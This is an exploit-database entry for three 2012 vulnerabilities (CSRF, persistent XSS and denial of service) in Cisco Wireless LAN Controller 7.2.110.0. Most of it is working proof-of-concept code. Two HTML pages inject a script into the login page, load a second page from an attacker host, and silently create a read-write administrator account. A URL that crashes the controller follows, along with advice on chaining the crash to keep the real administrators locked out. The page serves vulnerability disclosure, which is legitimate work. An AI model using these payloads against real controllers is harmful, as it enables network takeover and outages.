header-logo
Suggest Exploit
vendor:
Wireless Lan Controller
by:
Jacob Holcomb/Gimppy042
8,8
CVSS
HIGH
CSRF, DoS, and Persistent XSS
352, 79, 20
CWE
Product Name: Wireless Lan Controller
Affected Version From: 7.2.110.0
Affected Version To: 7.2.110.0
Patch Exists: Yes
Related CWE: CVE-2012-5992, CVE-2012-6007, CVE-2012-5991
CPE: a:cisco:wireless_lan_controller
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: None
2012

Cisco WLC CSRF, DoS, and Persistent XSS Vulnerabilities

Cisco Wireless Lan Controller 7.2.110.0 is vulnerable to CSRF, DoS, and Persistent XSS attacks. The exploit code demonstrated in the advisory video involves two HTML files, ciscoWLC1.html and ciscoWLC2.html, which are used to exploit the vulnerabilities. The first file is used to inject malicious JavaScript code into the WLC, while the second file is used to create a new administrator account with the credentials “HaXoReD”. The exploit code is written in JavaScript and can be used to execute arbitrary code on the vulnerable system.

Mitigation:

The vendor has released a patch to address the vulnerabilities. Users should update their systems to the latest version of the software.
Source

Exploit-DB raw data:

Cisco WLC CSRF, DoS, and Persistent XSS Vulnerabilities 
 
# Exploit Title: u M@d? - Cisco WLC CSRF, DoS, and Persistent XSS Vulnerabilities 
# Date: Discovered and reported November 2012
# Author: Jacob Holcomb/Gimppy042 - Security Analyst @ Independent Security Evaluators
# Software: Cisco Wireless Lan Controller 7.2.110.0 (http://www.cisco.com)
# Note: Other versions are probably vulnerable, but I wasn't able to test.
# Cisco Bug ID and CVE: CSRF: CSCud50283/CVE-2012-5992, XSS: CSCud65187/CVE-2012-6007, DoS: CSCud50209/CVE-2012-5991
# Advisory/Video: http://infosec42.blogspot.com/2012/12/cisco-wlc-csrf-dos-and-persistent-xss.html
# Additional Bug: DoS - See bug section in POC


--Exploit code demonstrated in advisory video--


-CSRF/XSS-

File #1: ciscoWLC1.html


<html>
<title>Cisco WLC 7.2.110.0 CSRF - Persistent XSS</title>
<body>

<h1>LOADING...</h1>

<form name="ciscoXSS" action="https://WLC_IP_HERE/screens/base/web_auth_custom.html" method="post" >
<input type="hidden" name="access_control" value="1"/>
<input type="hidden" name="webauth_type" value="internal"/>
<input type="hidden" name="redirect_url" value=""/>
<input type="hidden" name="aire_logo" value="show"/>
<input type="hidden" name="headline" value="HaXoReD<img+src=><script>alert(42)</script>>"/>
<input type="hidden" name="message" value="U+mAd?<img src=http://www.memes.at/faces/u_mad_troll.gif height=1000 width=1000 align=left>"/>
<input type="hidden" name="ext_webauth_url" value=""/>
<input type="hidden" name="buttonClicked" value="4"/>
<input type="hidden" name="indexedClicked" value="0"/>
<input type="hidden" name="err_flag" value="0"/>
<input type="hidden" name="err_msg" value=""/>
</form>

<script>
function CSRF() {window.open("http://ATTACKER_IP/ciscoWLC2.html")};window.setTimeout(CSRF,1000)
function XSS() {document.ciscoXSS.submit()};window.setTimeout(XSS,1000)
</script>

</body>
</html>



File #2: ciscoWLC2.html


<html>
<title>Cisco WLC 7.2.110.0 CSRF - Add Administrator</title>
<body>

<form name="ciscoCSRF" action="https://WLC_IP_HERE/screens/aaa/mgmtuser_create.html" method="post" >
<input type="hidden" name="access_control" value="1"/>
<input type="hidden" name="username" value="Gimppy"/>
<input type="hidden" name="userpwd" value="Pwnd123"/>
<input type="hidden" name="pwdconfirm" value="Pwnd123"/>
<input type="hidden" name="access_mode" value="readwrite"/>
<input type="hidden" name="buttonClicked" value="4"/>
</form>

<script>
document.ciscoCSRF.submit()
window.open("https://WLC_IP_HERE/screens/base/login_preview.html") <-- Or https://WLC_IP_HERE/login.html 
</script>

</body>
</html>



--Bug--

DoS - Denial of Service

If a GET request is made to the URL listed below with the supplied HTML parameters, the Cisco WLC will crash and perform a cold start. The request requires authentication, so you would have to target a specific authenticated user using social engineering tactics, and get them to some how submit the request to the WLC. This DoS GET 
request could be used in conjunction with my demonstrated chained POC exploit above using the persistent XSS vulnerability to crash the WLC after performing the initial attack. This would 
prevent an admin from quickly undoing the changes that were made during the attack, and if the attacker was quick enough to get shell or web access on the WLC before the admin after
the WLC reboot, the attacker could change the admin password to prevent further access. 

DoS URL: https://WLC_IP_HERE/screens/base/web_auth_custom.html?&webauth_type=internal&buttonClicked=4